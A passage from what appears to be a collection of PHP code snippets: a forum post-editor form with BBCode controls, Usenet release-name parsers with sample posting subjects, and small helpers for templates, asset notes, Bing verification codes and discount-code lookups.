\"color:#825900; background-color: #FAFAFA\" value = \"#825900\"><?php echo _COLOUR_BROWN; ?></option>\r\n\r\n <option style = \"color:#9A9C02; background-color: #FAFAFA\" value = \"#9A9C02\"><?php echo _COLOUR_GOLD; ?></option>\r\n\r\n <option style = \"color:#A7A7A7; background-color: #FAFAFA\" value = \"#A7A7A7\"><?php echo _COLOUR_SILVER; ?></option>\r\n </select>\r\n\r\n &nbsp;<?php echo _SMILE_SIZE; ?>:\r\n\r\n <select name = \"addbbcode22\" onchange = \"bbfontstyle('[size=' + this.form.addbbcode22.options[this.form.addbbcode22.selectedIndex].value + ']', '[/size]')\" onmouseover = \"helpline('f')\" class = \"<?php echo $boardclass;?>button\">\r\n <option value = \"1\"><?php echo _SIZE_VSMALL; ?></option>\r\n\r\n <option value = \"2\"><?php echo _SIZE_SMALL; ?></option>\r\n\r\n <option value = \"3\" selected = \"selected\"><?php echo _SIZE_NORMAL; ?></option>\r\n\r\n <option value = \"4\"><?php echo _SIZE_BIG; ?></option>\r\n\r\n <option value = \"5\"><?php echo _SIZE_VBIG; ?></option>\r\n </select>\n\n\t\t\t\t\t<?php if ($fbConfig->showspoilertag) {?>\n <script type=\"text/javascript\">\n\t\t\t\t\t\tfunction fb_spoiler_help() {document.postform.helpbox.value = 'Spoiler: [spoiler] ... [/spoiler]';}\n\t\t\t\t\t</script>\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"s\" name = \"addbbcode40\" value = \"Spoiler\" onclick = \"bbfontstyle('[spoiler]', '[/spoiler]')\" onmouseover = \"fb_spoiler_help()\"/>\n\t\t\t\t\t<?php } ?>\n\n\t\t\t\t\t<?php if ($fbConfig->showebaytag) {?>\n <script type=\"text/javascript\">\n\t\t\t\t\t\tfunction fb_ebay_help() {document.postform.helpbox.value = 'eBay: [ebay]ItemId[/ebay]';}\n\t\t\t\t\t</script>\n <input type = \"button\" class = \"<?php echo $boardclass;?>button\" accesskey = \"e\" name = \"addbbcode30\" value = \"eBay\" onclick = \"bbfontstyle('[ebay]', '[/ebay]')\" onmouseover = \"fb_ebay_help()\"/>\n\t\t\t\t\t<?php } ?>\n\n\t\t\t\t\t<?php if ($fbConfig->showvideotag) {?>\n &nbsp;<span style=\"white-space:nowrap;\">\r\n\t\t\t\t\t<script type=\"text/javascript\">\r\n\t\t\t\t\t\tfunction fb_vid_help1() {document.postform.helpbox.value = 'Video: [video type=provider size=100 width=480 height=360]xyz[/video]';}\r\n\t\t\t\t\t\tfunction fb_vid_help2() {document.postform.helpbox.value = 'Video: [video size=100 width=480 height=360]http://myvideodomain.com/myvideo[/video]';}\r\n\t\t\t\t\t</script>\r\n\t\t\t\t\t<a href = \"javascript: bbfontstyle('[video]', '[/video]')\" onmouseover = \"fb_vid_help2()\">Video:</a>\r\n\t\t\t\t\t<select name = \"fb_vid_code1\" onchange = \"bbfontstyle('[video type=' + this.form.fb_vid_code1.options[this.form.fb_vid_code1.selectedIndex].value, '[/video]');\" onmouseover = \"fb_vid_help1()\" class = \"<?php echo $boardclass;?>button\">\r\n\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t$vid_provider = array('','AnimeEpisodes','Biku','Bofunk','Break','Clip.vn','Clipfish','Clipshack','Collegehumor','Current',\r\n\t\t\t\t\t\t\t'DailyMotion','DivX,divx]http://','DownloadFestival','Flash,flash]http://','FlashVars,flashvars param=]http://','Fliptrack',\r\n\t\t\t\t\t\t\t'Fliqz','Gametrailers','Gamevideos','Glumbert','GMX','Google','GooglyFoogly','iFilm','Jumpcut','Kewego','LiveLeak','LiveVideo',\r\n\t\t\t\t\t\t\t'MediaPlayer,mediaplayer]http://','MegaVideo','Metacafe','Mofile','Multiply','MySpace','MyVideo','QuickTime,quicktime]http://','Quxiu',\r\n\t\t\t\t\t\t\t'RealPlayer,realplayer]http://','Revver','RuTube','Sapo','Sevenload','Sharkle','Spikedhumor','Stickam','Streetfire','StupidVideos','Toufee','Tudou',\r\n\t\t\t\t\t\t\t'Unf-Unf','Uume','Veoh','VideoclipsDump','Videojug','VideoTube','Vidiac','VidiLife','Vimeo','WangYou','WEB.DE','Wideo.fr','YouKu','YouTube');\r\n\t\t\t\t\t\tforeach($vid_provider as $vid_type) {\r\n\t\t\t\t\t\t\tlist($vid_name, $vid_type) = explode(',', $vid_type);\r\n\t\t\t\t\t\t\techo '<option value = \"'.(($vid_type)?$vid_type:strtolower($vid_name).']').'\">'.$vid_name.'</option>';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t\t</select></span>\r\n\t\t\t\t\t<?php } ?>\n\r\n &nbsp;&nbsp;<a href = \"javascript: bbstyle(-1)\"onmouseover = \"helpline('a')\"><small><?php echo _BBCODE_CLOSA; ?></small></a>\r\n </td>\r\n </tr>\r\n\r\n <tr>\r\n <td class = \"<?php echo $boardclass;?>posthint\">\r\n <input type = \"text\" name = \"helpbox\" size = \"45\" class = \"<?php echo $boardclass;?>inputbox\" maxlength = \"100\" value = \"<?php echo _BBCODE_HINT;?>\"/>\r\n </td>\r\n </tr>\r\n </table>\r\n </td>\r\n </tr>\r\n\r\n <tr class = \"<?php echo $boardclass; ?>sectiontableentry2\">\r\n <td valign = \"top\" class = \"fb_leftcolumn\">\r\n <strong><?php echo _MESSAGE; ?></strong>:\r\n\r\n <?php\r\n if ($emoticons != 1)\r\n {\r\n ?>\r\n\r\n <br/>\r\n\r\n <br/>\r\n\r\n <div align = \"right\">\r\n <table border = \"0\" cellspacing = \"3\" cellpadding = \"0\">\r\n <tr>\r\n <td colspan = \"4\" style = \"text-align: center;\">\r\n <strong><?php echo _GEN_EMOTICONS; ?></strong>\r\n </td>\r\n </tr>\r\n\r\n <tr>\r\n <?php\r\n generate_smilies(); //the new function Smiley mod\r\n ?>\r\n </tr>\r\n </table>\r\n </div>\r\n\r\n <?php\r\n }\r\n ?>\r\n </td>\r\n\r\n <td valign = \"top\">\r\n <textarea class = \"<?php echo $boardclass;?>txtarea\" name = \"<?php echo $areaname;?>\" id = \"<?php echo $areaname;?>\"><?php echo htmlspecialchars($html, ENT_QUOTES); ?></textarea>\r\n<?php\r\nif ($editmode) {\r\n // Moderator edit area\r\n ?>\r\n <fieldset>\r\n <legend><?php echo _FB_EDITING_REASON?></legend>\r\n <input name=\"modified_reason\" size=\"40\" maxlength=\"200\" type=\"text\"><br />\r\n\r\n </fieldset>\r\n<?php\r\n}\r\n?>\r\n </td>\r\n </tr>\r\n\r\n<?php\r\n }", "public function amazing()\n\t{\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Ass Backwards (2013) WEBrip XviD AC3 (english subs)) [18/35] - \"Ass Backwards (2013) WEBrip XviD AC3 (english subs).part17.rar\" yEnc\n\t\tif (preg_match('/^\\([\\w!.,&_ ()\\[\\]\\'\\`-]{8,}\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Angels4Always) [1/1] - \"Vermeulen, John - De tweelingparadox.rar\" yEnc\n\t\tif (preg_match('/^\\(Angels4Always\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Heaven_en_Fayth Presenteren Diana Gabaldon - Reiziger Cyclus 01 - De Reiziger[0/3] - \"Diana Gabaldon - Reiziger Cyclus 01 - De Reiziger.nzb\" yEnc\n\t\tif (preg_match('/^[\\w!.,&_ ()\\[\\]\\'\\`-]{8,}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //www.wolfsteamers.info [1/6] - \"Wohnen Bauen Leben - Sommer 2014.par2\" - 16,46 MB yEnc\n\t\tif (preg_match('/^www\\.wolfsteamers\\.info[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //096XZFUPQ0PxH4441H14fU8V - [34/99] - \"096XZFUPQ0PxH4441H14fU8V.part033.rar\" yEnc\n\t\tif (preg_match('/^\\w+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //05VANmA80DckBho \"05VANmA80DckBho.part07.rar\"08/94 yEnc\n\t\tif (preg_match('/^\\w+[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '\\d+(\\/\\d+)[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Slaapkop post voor http://the-ultimate-force.org.ua/) [0/7] - \"Wham - I'm Your Man (1985).nzb\" yEnc\n\t\tif (preg_match('/^\\(.+the-ultimate-force\\.org\\.ua\\/\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/101) - P2H - \"L62WD8P4U539A7.par2\" - 4,66 GB - Z9F6KN7SXRCY845 yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - P2H - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+([.,]\\d+)? [kKmMgG][bB][-_\\s]{0,3}\\w+[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/101) \"654258ItB1418pBRDNS264159.par2\" - 9,74 GB - yEnc\n\t\t//(001/105) - Description - \"oH291TB0bPxf3lqm1P7QQ.par2\" - 4,56 GB - yEnc\n\t\t//(03/43) - FTTEAM.INFO - \"JDSJ2J4ENASJCKR-FTTEAM.INFO.part02.rar\" - 2,04 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)([-_ ]{0,4}(Description|FTTEAM\\.INFO))?[-_ ]{0,4}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //- - [001/242] - \"C65JuogI92CwfMo2TiX59.par2\" yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"5nivJ7V6Q2jqAR34bZ8m.part46.rar\" yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- \"7UAF6LE2PDM38NB.par2\" - 8,53 GB - yEnc\n\t\tif (preg_match('/^[-_ .]{0,4}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //- [01/10] - \"file.xyz\" yEnc - [001/107] - \"86u1Qr8mm56jGiW7nUPTM.par2\" yEnc\n\t\tif (preg_match('/^[-_ ]{0,4}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+\" yEnc[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function checkBlock($name, $display, $source, $newStr = '')\r\n\t{\r\n \tif ($display) {\r\n \t\t$after_replace = '\\\\1';\r\n \t} else {\r\n \t $after_replace = $newStr;\r\n \t}\r\n \t//return eregi_replace(\"\\{\".$name.\"\\}([^\\[]+)\\{/\".$name.\"\\}\", $after_replace, $source);\r\n \t//return preg_replace('/{'.$name.'}(.*?){\\/'.$name.'}/si', $after_replace, $source);\r\n\t $source = str_replace('$','&#36;',$source);\r\n\t return preg_replace(\"/{\".$name.\"}(.*?){\\/\".$name.\"}/si\", $after_replace, $source);\r\n\t}", "public function verificaSituacaoNota() {\n\n $oDaoBemNota = new cl_bensempnotaitem();\n\n $sWhere = \"e136_bens = \" . $this->getCodigoBem();\n $sSqlBemNota = $oDaoBemNota->sql_query_bens_ativos(null, \"e72_vlrliq\", null, $sWhere);\n $rsBemNota = $oDaoBemNota->sql_record($sSqlBemNota);\n\n if ($oDaoBemNota->numrows == 0) {\n return self::SEMNOTA;\n }\n\n $nValorLiquidado = db_utils::fieldsMemory($rsBemNota, 0)->e72_vlrliq;\n\n if ($nValorLiquidado > 0) {\n\n return self::LIQUIDADO;\n }\n return self::EMLIQUIDACAO;\n }", "public function checkBingWTCode($code) {\r\n if ($code <> '') {\r\n if (strpos($code, 'content') !== false) {\r\n preg_match('/content\\\\s*=\\\\s*[\\'\\\"]([^\\'\\\"]+)[\\'\\\"]/i', $code, $result);\r\n if (isset($result[1]) && !empty($result[1]))\r\n $code = $result[1];\r\n }\r\n\r\n if (strpos($code, '\"') !== false) {\r\n preg_match('/[\\'\\\"]([^\\'\\\"]+)[\\'\\\"]/i', $code, $result);\r\n if (isset($result[1]) && !empty($result[1]))\r\n $code = $result[1];\r\n }\r\n\r\n if ($code == '')\r\n SQ_Error::setError(__(\"The code for Bing is incorrect.\", _SQ_PLUGIN_NAME_));\r\n }\r\n return $code;\r\n }", "function comprobarcodeunico($codeunico)\n{\n\tglobal $con;\n\t\n\t$query_ConsultaFuncion = sprintf(\"SELECT code FROM adm_discount_list WHERE code = %s \",\n\t\t GetSQLValueString($codeunico, \"text\"));\n\t//echo $query_ConsultaFuncion;\n\t$ConsultaFuncion = mysqli_query($con, $query_ConsultaFuncion) or die(mysqli_error($con));\n\t$row_ConsultaFuncion = mysqli_fetch_assoc($ConsultaFuncion);\n\t$totalRows_ConsultaFuncion = mysqli_num_rows($ConsultaFuncion);\n\t\n\tif ($totalRows_ConsultaFuncion==0) \n\t\treturn true;\n\telse return false;\n\t\n\tmysqli_free_result($ConsultaFuncion);\n}", "public function barbarella()\n\t{\n\t\tif (preg_match('/^([a-zA-Z0-9].+?) - \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Die.Nacht.Der.Creeps.THEATRICAL.GERMAN.1986.720p.BluRay.x264-GH - \"gh-notcreepskf720.nfo\" yEnc\n\t\t//The.Fast.and.the.Furious.Tokyo.Drift.2006.German.1080p.BluRay.x264.iNTERNAL-MWS - \"mws-tfatftd-1080p.nfo\" yEnc\n\t\tif (preg_match('/^([\\w.-]+)\\s+-\\s+\".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//CorelDRAW Technical Suite X6-16.3.0.1114 x32-x64<><>DRM<><> - (10/48) \"CorelDRAW Technical Suite X6-16.3.0.1114 x32-x64.part09.rar\" - 2,01 GB - yEnc\n\t\t//AnyDVD_7.1.9.3_-_HD-BR - Beta<>give-me-all.org<>DRM<><> - (1/3) \"AnyDVD_7.1.9.3_-_HD-BR - Beta.par2\" - 14,53 MB - yEnc\n\t\t//Android Softarchive.net Collection Pack 27^^give-me-all.org^^^^DRM^^^^ - (01/26) \"Android Softarchive.net Collection Pack 27.par2\" - 1,01 GB - yEnc\n\t\t//WIN7_ULT_SP1_x86_x64_IE10_19_05_13_TRIBAL <> give-me-all.org <> DRM <> <> PW <> - (154/155) \"WIN7_ULT_SP1_x86_x64_IE10_19_05_13_TRIBAL.vol57+11.par2\" - 7,03 GB - yEnc\n\t\t//[Android].Ultimate.iOS7.Apex.Nova.Theme.v1.45 <> DRM <> - (1/3) \"[Android].Ultimate.iOS7.Apex.Nova.Theme.v1.45.par2\" - 21,14 MB - yEnc\n\t\tif (preg_match('/^(\\[[A-Za-z]+\\]\\.|reup\\.)?([a-zA-Z0-9].+?)([\\^<> ]+give-me-all\\.org[\\^<> ]+|[\\^<> ]+)DRM[\\^<> ]+.+? - \\(\\d+\\/\\d+\\) \".+?\" - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(004/114) - Description - \"Pluralsight.net XAML Patterns (10).rar\" - 532,92 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - .+? - \"(.+?)( \\(\\d+\\))?' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(01/12) - \"TransX - Living on a Video 1993.part01.rar\" - 561,55 MB - TransX - Living on a Video 1993.[Lossless] Highh Quality yEnc\n\t\t//(59/81) \"1973 .Lee.Jun.Fan.DVD9.untouched.z46\" - 7,29 GB - Lee.Jun.Fan.sein.Film.DVD9.untouched yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)( -)? \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - (.+?) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //>>> www.lords-of-usenet.org <<< \"Der Schuh Des Manitu.par2\" DVD5 [001/158] - 4,29 GB yEnc\n\t\tif (preg_match('/^>>> www\\.lords-of-usenet\\.org <<<.+? \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' .+? \\[\\d+\\/\\d+\\] - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//NEUES 4y - [@ usenet-4all.info - powered by ssl.news -] [5,58 GB] [002/120] \"DovakinPack.part002.rar\" yEnc\n\t\t//NEUES 4y (PW) [@ usenet-4all.info - powered by ssl.news -] [7,05 GB] [014/152] \"EngelsGleich.part014.rar\" yEnc\n\t\tif (preg_match('/^.+? (-|\\(PW\\))\\s+\\[.+? -\\] \\[\\d+[,.]\\d+ [mMkKgG][bB]\\] \\[\\d+\\/\\d+\\] \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Old Dad uppt Die Schatzinsel Teil 1+Teil2 AC3 DVD Rip German XviD Wp 01/33] - \"upp11.par2\" yEnc\n\t\t//Old Dad uppt Scary Movie5 WEB RiP Line XviD German 01/24] - \"Scary Movie 5.par2\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+?\\s{2,}|Old Dad uppt\\s+)(.+?) \\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//>>> 20,36 MB \"Winamp.Pro.v5.70.3392.Incl.Keygen-FFF.par2\" 552 B yEnc\n\t\t//..:[DoAsYouLike]:.. 9,64 MB \"Snooper 1.39.5.par2\" 468 B yEnc\n\t\tif (preg_match('/^.+?\\s{2,}\\d+[,.]\\d+ [mMkKgG][bB]\\s{2,}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '\\s{2,}(\\d+ B|\\d+[,.]\\d+ [mMkKgG][bB]) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(MKV - DVD - Rip - German - English - Italiano) - \"CALIGULA (1982) UNCUT.sfv\" yEnc\n\t\tif (preg_match('/^\\(.+?\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"sre56565ztrtzuzi8inzufft.par2\" yEnc\n\t\tif (preg_match('/^\"([a-z0-9]+)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function etc()\n\t{\n\t\tif (preg_match('/^\\[scnzbefnet\\] (.+?) \\[\\d+\\/(\\d+\\]) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //..:[DoAsYouLike]:.. 116,12 MB \"Graphite v8.9.17 SP4R4.nfo\" 3,00 kB yEnc\n\t\tif (preg_match('/^.+\\[DoAsYouLike\\].+\\d+[.,]\\d+ [kKmMgG][bB].+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' (\\d+[.,])?\\d+ ([kKmMgG])?[bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(047/550) \"Enf.S02E02.G.D.D.W.7.H.x2-e.vol105+99.PAR2\" - 36,13 GB -Enf.S02.G.D.D.W.7.H.x2-e yEnc\n\t\t//[3/3] - \"Mayle Peter - Der Coup von Marseille.epub.vol0+1.par2\" - 956,83 kB {UR} yEnc\n\t\tif (preg_match('/^[\\(\\[]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<Old but Sold>>> <<< >< >< \"German Top 50 ODC - 12.08.2013.nfo\" >< 02/33 (541,61 MB) >< 10,93 kB > yEnc\n\t\tif (preg_match('/^.+Old but Sold.+>< \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' >< \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\).+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<THOR for Usenet-Space-Cowboys>>> - 1Password V1.0.9.236 Setup Key.PAR2 yEnc\n\t\tif (preg_match('/^.+Usenet-Space-Cowboys.+> - ([A-Z0-9][a-zA-Z0-9\\. ]{6,})([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}).+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //704900999555666777123978 - [398/415] - \"Jormungand Complete [720p] mHD.part31.rar\" yEnc\n\t\tif (preg_match('/^\\d+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE - [02/38] - \"Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE.part01.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<< old but sold >>>> < USC> <\"K11 - Kommissare im Einsatz (DE) NDS.part3.rar\">[04/11] 74,54 MB yEnc\n\t\tif (preg_match('/^.+old but sold.+([\\w. ()-]{8,}?\\b)' . $this->e0 .\n\t\t\t\t\t '>\\[\\d+\\/\\d+\\][-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-ACDC.Let.There.Be.Rock.1980.720p.BluRay.DD5.1.x264-DON(00/47]\"rock.ac3.720p.nzb\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-([\\w. ()-]{8,}?\\b)[\\(\\[]\\d+\\/\\d+\\]\".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Bitsum.Technologies.Process.Lasso.Pro.v6.5.00.Cracked-EAT - [3/4] - \"eat.vol0+1.par2\" yEnc\n\t\tif (preg_match('/^([\\w.()-]{8,})[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<usenet-space-cowboys.info>>> USC <<<Powered by https://secretusenet.com><Medieval Wii Pal>< \"Medieval Wii Pal.vol108+29.par2\" >< 60/60 (4,82 GB) >< 95,77 MB > yEnc\n\t\tif (preg_match('/^.+?usenet-space.+?Powered by.+? \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+? \\d+\\/(\\d+.+?)$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-ACDC.Let.There.Be.Rock.1980.720p.BluRay.DD5.1.x264-DON(00/47]\"rock.ac3.720p.nzb\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-([\\w. ()-]{8,}?\\b)[\\(\\[]\\d+\\/\\d+\\]\".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Bitsum.Technologies.Process.Lasso.Pro.v6.5.00.Cracked-EAT - [3/4] - \"eat.vol0+1.par2\" yEnc\n\t\tif (preg_match('/^([\\w.()-]{8,})[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) 